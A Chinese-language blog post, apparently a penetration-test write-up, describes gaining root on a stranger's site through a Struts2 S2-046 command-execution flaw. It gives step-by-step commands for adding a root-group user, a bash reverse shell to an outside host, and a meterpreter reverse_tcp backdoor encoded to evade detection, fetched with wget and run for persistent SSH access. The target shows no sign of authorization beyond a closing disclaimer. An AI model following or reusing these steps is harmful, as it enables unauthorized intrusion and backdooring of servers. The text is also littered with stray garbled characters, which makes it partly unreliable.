一、背景
偶然碰到一個小站存在st2-046代碼遠程執(zhí)行漏洞抑诸,心里美滋滋蜕乡。
執(zhí)行whoami查看自己是什么權限?
已經(jīng)是root了层玲,就嘗試上傳一個webshell
但是卻提示上傳失敗辛块,頁面不存在
上傳txt顯示成功
經(jīng)過測試憨降,服務器裝有一些防火墻之類的東西或者是安全策略授药,只要上傳的文件里包含可執(zhí)行代碼就上傳失敗
但是轉念一想我為什么非要傳webshell,傳上去之后不還是要提權莱衩,弄到他的ssh權限笨蚁。
于是冷靜思考了一下目前的形勢:
1? root權限
2 可以執(zhí)行非交互性命令
3?不能上傳文件
腦海里一道閃電趟庄,蹦出來三個思路
1?直接遠程執(zhí)行命令?添加一個用戶?然后加入root組
2? nc反彈shell 進行交互性命令?設置用密鑰登陸
3?用神器msf生成一個linux后門戚啥,進一步拿下ssh
二、一波操作猛如虎思路一
首先useradd test添加一個名為test的用戶
因為不能交互?所以無法使用passwd 命令
嘗試echo?“PASSWORD”?| passwd ?–stdin USERNAME命令
命令執(zhí)行完成
然后加入root組
usermod -g root test
用id+用戶名查看是否添加成功?
奈斯
然后就是高高興興去連接ssh
結果他一直拒絕我的密碼贷笛。宙项。。
這是什么操作杉允。邑贴。。
得到了你的人得不到你的心嗎叔磷。拢驾。。
當時也不明白為什么會這樣
后來百度查了一下
才知道這個命令有時候是有問題的
思路一失敗
思路二
既然問題出在加密碼的命令上面改基,我就只要把shell反彈出來然后再使用passwd命令即可
測試了一下目標站不支持其他腳本繁疤,也沒有nc,就直接用bash轉發(fā)吧
先打開一臺外網(wǎng)windows服務器秕狰,開啟nc監(jiān)聽
命令為nc.exe –vv?–l?–p?端口
Linux上bash轉發(fā)命令如下
bash -i?>&?/dev/tcp/x.x.x.x/23330>&1
提示執(zhí)行成功
但是windows服務器上并沒有收到任何反彈信息
換端口換反彈方式都失敗
用腳趾頭想想應該是防火墻的問題
思路二失敗。
思路三
前兩次均失敗鸣哀,心里很難受了
不過沒關系架忌,我們還有神器msf
假設本機ip為192.168.250.162監(jiān)聽端口為8090
用msf生成一個linux的后門命令如下:
(1)對于metasploit 4.2版本,使用msfpayload生成后門程序我衬,使用msfencode對后門進行二次編碼防殺叹放。
生成后門并使用msfencode shikata_ga_nai編碼程序對后門程序再編碼饰恕。
命令:
msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090 R |msfencode?-t elf -e x86/shikata_ga_nai -c 3 -o?/root/test
詳解:
使用模塊 linux/x86/meterpreter/reverse_tcp ?可以實現(xiàn)在32位linux系統(tǒng)上反彈TCP會話
LHOST=192.168.250.162???反彈連接到metasploit攻擊主機的IP地址
LPORT=8090??反彈連接到metasploit攻擊主機的TCP端口號
-t elf 編碼生成的文件類型
-e x86/shikata_ga_nai ?使用的編碼方式
-c 3 重復封裝編碼3次
-o?/root/test?輸出后門文件到/root目錄下,文件名test
(2)在較新版本的metasploit中井仰,msfpayload和msfencode已經(jīng)被取消埋嵌,功能合并為msfvenom
使用msfvenom創(chuàng)建后門達到相同效果的命令為:
msfvenom?-a x86--platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162LPORT=8090 -e x86/shikata_ga_nai ?-i? 3 ?-felf?>?/root/test
詳解:
-a? x86? 32位
–platform? linux 后門程序運行的平臺
-plinux/x86/meterpreter/reverse_tcp???使用的payload模塊
-ex86/shikata_ga_nai??-i? 3 ?使用shikata編碼方式,編碼3次俱恶。
-f elf 輸出后門程序格式
(在我測試的過程中如果不使用shikata編碼3次生成的后門無法執(zhí)行雹嗦,不知道是不是防火墻的原因)
生成好了,然后就是怎么把后門傳到目標服務器上的問題
可以用ftp之類的合是,出于方便就直接用wget
把后門放到網(wǎng)站上或者架設的hfs上
執(zhí)行成功
ls看一下是否已經(jīng)下載后門
接下來就在msf上開啟監(jiān)聽
msfconsole進入控制臺后命令:
msf > use exploit/multi/handler
msf?exploit(handler)?>?set LHOST 192.168.250.162
msf exploit(handler)?>?set LPORT 8090
msf exploit(handler)?>?set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf?exploit(handler)?> exploit
Ok監(jiān)聽開啟成功
這個時候就要來運行后門
一定要記得更改后門的權限了罪!
一定要記得更改后門的權限!
一定要記得更改后門的權限聪全!
重要的事情說三遍4废А!荔烧!
只有這樣后門才有執(zhí)行的權限
命令:chmod 777 test
然后執(zhí)行后門
命令:?./test
可以看到已經(jīng)得到了一個會話
執(zhí)行whoami 顯示root權限?
后面的思路就很多了
添加一個后門用戶
或者生成一個秘鑰直接連接服務器
或者直接用msf維持后門的權限
在這里就直接用passwd改掉咱們原來添加的test的密碼
Ok, ssh連接成功
三、總結
這次的滲透測試還是可以給大家提供一個思路汽久,在遇到st2漏洞但是有防火墻鹤竭,不能上馬,不能反彈shell景醇,只能執(zhí)行非交互命令的時候可以用msf生成一個后門然后進行進一步提權臀稚。
當一種思路不行的時候要學會打開思路,多嘗試三痰,多百度吧寺。
本次測試僅僅做為學習,漏洞已經(jīng)提交給管理員散劫,請勿用于非法用途稚机,所產(chǎn)生的一切后果與作者無關。文章如果有問題获搏,歡迎大家及時指正赖条!